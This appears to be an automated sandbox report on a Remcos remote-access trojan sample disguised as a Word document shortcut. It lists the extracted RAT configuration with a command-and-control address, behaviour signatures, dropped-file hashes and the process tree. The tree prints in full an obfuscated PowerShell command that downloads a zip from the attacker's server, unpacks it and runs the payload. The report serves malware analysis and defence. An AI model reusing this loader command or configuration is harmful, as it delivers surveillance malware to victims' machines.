remcos | 50b628bc603d846c04ab5dc56a5bc40b32b219c29211661f663ec7bb160a0554

Analysis

max time kernel
147s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
06-09-2024 11:25

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General

Target

oshad_88.docx.lnk
Size

15KB
MD5

64a52682aa182ab4a0e2cebaeaad3f17
SHA1

372c0fdf264c4204b490e11717e51d4ffd97b694
SHA256

9549f73133514942aadfcf6f3f38f5d89e573ba7d9b18cde44f29f0a172d7c32
SHA512

21dab4c078f34e63677eed29a80f240e0d9687e91a4868f6fa812ede45aec7133242c3c5fa9a324b1ca9040407a4c584ffc820c4617efd712314821a6bc2e5b4
SSDEEP

48:88muavUQSIuvZujofxvUZ7HEVxCTI2evUZ7vUqbbudCZZGXu/dZZIa7x:88y81vZiofxHVxCTIRVqeuqQ

Score

10^/10

remcos stalagg discovery rat

Malware Config

Extracted

Family

remcos

Botnet

stalagg

5.181.156.117:8576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-5TL39W
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4996	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
2868	scr_previw.exe
2540	scr_previw.exe

Loads dropped DLL 2 IoCs

pid	Process
2868	scr_previw.exe
2540	scr_previw.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2540 set thread context of 3904	2540	scr_previw.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scr_previw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scr_previw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2672	WINWORD.EXE
2672	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4996	powershell.exe
4996	powershell.exe
2868	scr_previw.exe
2540	scr_previw.exe
2540	scr_previw.exe
3904	cmd.exe
3904	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2540	scr_previw.exe
3904	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4996	powershell.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
2672	WINWORD.EXE
2672	WINWORD.EXE
2672	WINWORD.EXE
2672	WINWORD.EXE
2672	WINWORD.EXE
2672	WINWORD.EXE
2672	WINWORD.EXE
2672	WINWORD.EXE
2672	WINWORD.EXE
2672	WINWORD.EXE

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3836 wrote to memory of 4996	3836	cmd.exe	84
PID 3836 wrote to memory of 4996	3836	cmd.exe	84
PID 4996 wrote to memory of 2868	4996	powershell.exe	92
PID 4996 wrote to memory of 2868	4996	powershell.exe	92
PID 4996 wrote to memory of 2868	4996	powershell.exe	92
PID 4996 wrote to memory of 2672	4996	powershell.exe	94
PID 4996 wrote to memory of 2672	4996	powershell.exe	94
PID 2868 wrote to memory of 2540	2868	scr_previw.exe	95
PID 2868 wrote to memory of 2540	2868	scr_previw.exe	95
PID 2868 wrote to memory of 2540	2868	scr_previw.exe	95
PID 2540 wrote to memory of 3904	2540	scr_previw.exe	96
PID 2540 wrote to memory of 3904	2540	scr_previw.exe	96
PID 2540 wrote to memory of 3904	2540	scr_previw.exe	96
PID 2540 wrote to memory of 3904	2540	scr_previw.exe	96
PID 3904 wrote to memory of 1240	3904	cmd.exe	105
PID 3904 wrote to memory of 1240	3904	cmd.exe	105
PID 3904 wrote to memory of 1240	3904	cmd.exe	105
PID 3904 wrote to memory of 1240	3904	cmd.exe	105
PID 3904 wrote to memory of 1240	3904	cmd.exe	105

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\oshad_88.docx.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo VkGdaYkxoSDqagAIMUSqWeFFKWBdyoLFWRVEvjodFocYsOlZlDgEkQa; echo VhNVdmCjPvnIlvvpkwnxlfeIqZy; echo UwsGnhMnhQixhmuGlsBMAPSDKSsWQDTvdxNCBxsgEjgUchAAbOiaDRD; if (-not(Test-Path 'glorytoukraine.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/glorytoukraine.zip -OutFile glorytoukraine.zip}; echo EYBUMEUtkQyUZiebvxwQgurwULNqqzvPMqEGDCvesKCkTRWVCRwLrUXxdJ; Expand-Archive -Path glorytoukraine.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/scr_previw.exe; echo DaHNXRcvYEIwZocbzUwYQhKQphrgcaAkqoP; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/racs/oshad_88.docx -OutFile oshad_88.docx; echo vKOMValDMwyQRtxOaMEdppITpcmMluNArXmDGCX; s''t''a''rt oshad_88.docx
  2⤵
  - Blocklisted process makes network request
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe
    "C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2868
  - - C:\Users\Admin\AppData\Roaming\SuperSync_test\scr_previw.exe
      C:\Users\Admin\AppData\Roaming\SuperSync_test\scr_previw.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2540
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:3904
      - C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1240
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\oshad_88.docx" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:2672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\2c5f7a94

Filesize
1.2MB

MD5
077fb650831b534ec123e068db27a42e

SHA1
3b85d571d150c5e9e4613ba8f39f20d9660de80a

SHA256
85aeb4c3a24567f0c65545a4938ff48fd34e13f6bd0ab717fbb2399b822b4621

SHA512
d14257207f6b6c0b2bfe86dcf7cc3ed599dc36b530726c822e5e34fb9006f2e939f9de1b588cd2e776b1b6241b7d3b44e77a75752d5a57b1f96c387f8e783195

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDE739.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_poqckekb.0uu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
279B

MD5
951a33eecca03d904544bd6529c47b2d

SHA1
3c2e652752712a6f5fd6e18cd07738ce1685a9f1

SHA256
8fa2939a913d781ae4323d52d3ab8e904c1fa4250819ce9946d34a5639b14f14

SHA512
d5d2b2f5edf54bb10d10e5825a2b76b1957f3c0c9fa2ab440192a7e624b1a3e595b5373ef9f61d80eb27cbb16f69fb9b417611d977af9c807dc22a71369d65dd

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
c5a0617f22aab212ae4f951a8af3229a

SHA1
cebb755efaeb2ecf118e1c3e61d9fbe08e917ed6

SHA256
b034d7ac2c094ab2a6b87aa86eb404eb8f1148990e1a99f8d17b73b68dca3ce1

SHA512
dfe23c81b65ae3a9e9c594208f6d0968163d89c7d6917421812f1714419a71888135f637023e7617477553229c97b6546fae5124a3f0861285d07f6e46f68f03

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
18f3b855402e864182316d140aefef3d

SHA1
2c76020cc07dcca3d68d46933043db457c2a539f

SHA256
0d84d7150a876c6766b2ba0fa3ef6b9dcf474a4da3f4c3bd23c32609de9dd9a0

SHA512
1ccaeefd8fc5a8a0c3664039096e88c94d1cf12220024039af76286af5058d5e6c91dc7659cd45fa9fc9c4ed16c0e053b9261d7105ccde5e8e6c9023867d1257

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\d3dx9_43.dll

Filesize
1.9MB

MD5
46e435aecb557fcb16ae2ea3b22ab7fd

SHA1
5290156599fd9575c4401c80949ad5672fe64da5

SHA256
70e0b720bb461503acbd947a8355fb629d703b8d7f99ddfbb09a0c71886861da

SHA512
621010aa44868062361c6dbb670f8664c370ddcb0afbb5835765470522c03bb5ac779e86236cfffdcf343cbc582f81beacd2a7108d78c90d4dfc4c38e7d23bb3

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\rnyt

Filesize
1.0MB

MD5
289d2d639e058b63ebe16bd8d543115d

SHA1
969736e5f6a2c416f556e2f73358020573486afc

SHA256
f21bf56c8d15824dc1cf4108725f73154b88a89ab23f00a7f8dbb2d2de8e2568

SHA512
7adf83c9795d9705c4c1345422d17ad26b6d4f27a8242674f44b2d2a05080e532d9a64c43803164bf25c4e9eb5cac7a0d3789d71e9f34b46b5b9c6203fad65aa

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe

Filesize
2.2MB

MD5
d9530ecee42acccfd3871672a511bc9e

SHA1
89b4d2406f1294bd699ef231a4def5f495f12778

SHA256
81e04f9a131534acc0e9de08718c062d3d74c80c7f168ec7e699cd4b2bd0f280

SHA512
d5f048ea995affdf9893ec4c5ac5eb188b6714f5b6712e0b5a316702033421b145b8ee6a62d303eb4576bf8f57273ff35c5d675807563a31157136f79d8a9980

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\tkjm

Filesize
80KB

MD5
cae9827c507632c4a1980479c21a42a2

SHA1
d9a1c5900a93066645bf8fb7c79dacf56f3eaa3e

SHA256
efeec4c2f612130ec81f3796bba26471e14dcf97b0e22247b7c7f40ad2eba0cf

SHA512
441fb631ed26bfe5b84c4fd267a43fbacc64e0adae0e90d0d8e11a248fa2ab47d43a54f1cc3903532943d158d87a2e236976830834545b0d13471731b6f61768

Download Submit
C:\Users\Admin\AppData\Roaming\oshad_88.docx

Filesize
15KB

MD5
35a1aa0fc4972286c1db07e513c3abbc

SHA1
89f5e48e02a03978cd7931651518472c38a7b272

SHA256
be338409f57304177e56712593a9345b54d8361ef1fdc767a2fc683a6508cb4e

SHA512
f111c86ea937763d091ed195507ee9b3bc95854e22bf31142a9e96bdeb5c273f91f803ea463f8296d5ce611de3a9d959e993fbc03261022a074a203d14ad29c4

Download Submit
memory/1240-631-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/1240-595-0x00007FFEA4130000-0x00007FFEA4325000-memory.dmp

Filesize
2.0MB

Download
memory/1240-596-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/1240-605-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/1240-598-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/1240-604-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/1240-599-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/1240-628-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/1240-606-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/2540-64-0x0000000073F50000-0x00000000740CB000-memory.dmp

Filesize
1.5MB

Download
memory/2540-65-0x00007FFEA4130000-0x00007FFEA4325000-memory.dmp

Filesize
2.0MB

Download
memory/2540-96-0x0000000073F50000-0x00000000740CB000-memory.dmp

Filesize
1.5MB

Download
memory/2672-67-0x00007FFE61950000-0x00007FFE61960000-memory.dmp

Filesize
64KB

Download
memory/2672-624-0x00007FFE641B0000-0x00007FFE641C0000-memory.dmp

Filesize
64KB

Download
memory/2672-626-0x00007FFE641B0000-0x00007FFE641C0000-memory.dmp

Filesize
64KB

Download
memory/2672-53-0x00007FFE641B0000-0x00007FFE641C0000-memory.dmp

Filesize
64KB

Download
memory/2672-625-0x00007FFE641B0000-0x00007FFE641C0000-memory.dmp

Filesize
64KB

Download
memory/2672-627-0x00007FFE641B0000-0x00007FFE641C0000-memory.dmp

Filesize
64KB

Download
memory/2672-57-0x00007FFE641B0000-0x00007FFE641C0000-memory.dmp

Filesize
64KB

Download
memory/2672-56-0x00007FFE641B0000-0x00007FFE641C0000-memory.dmp

Filesize
64KB

Download
memory/2672-63-0x00007FFE641B0000-0x00007FFE641C0000-memory.dmp

Filesize
64KB

Download
memory/2672-59-0x00007FFE641B0000-0x00007FFE641C0000-memory.dmp

Filesize
64KB

Download
memory/2672-66-0x00007FFE61950000-0x00007FFE61960000-memory.dmp

Filesize
64KB

Download
memory/2868-39-0x0000000073F50000-0x00000000740CB000-memory.dmp

Filesize
1.5MB

Download
memory/2868-44-0x00007FFEA4130000-0x00007FFEA4325000-memory.dmp

Filesize
2.0MB

Download
memory/3904-593-0x0000000073F50000-0x00000000740CB000-memory.dmp

Filesize
1.5MB

Download
memory/3904-114-0x00007FFEA4130000-0x00007FFEA4325000-memory.dmp

Filesize
2.0MB

Download
memory/4996-61-0x00007FFE85E20000-0x00007FFE868E1000-memory.dmp

Filesize
10.8MB

Download
memory/4996-2-0x00007FFE85E23000-0x00007FFE85E25000-memory.dmp

Filesize
8KB

Download
memory/4996-17-0x00000255F0450000-0x00000255F0462000-memory.dmp

Filesize
72KB

Download
memory/4996-18-0x00000255F0430000-0x00000255F043A000-memory.dmp

Filesize
40KB

Download
memory/4996-16-0x00007FFE85E20000-0x00007FFE868E1000-memory.dmp

Filesize
10.8MB

Download
memory/4996-14-0x00007FFE85E20000-0x00007FFE868E1000-memory.dmp

Filesize
10.8MB

Download
memory/4996-13-0x00007FFE85E20000-0x00007FFE868E1000-memory.dmp

Filesize
10.8MB

Download
memory/4996-12-0x00000255EFD50000-0x00000255EFD72000-memory.dmp

Filesize
136KB

Download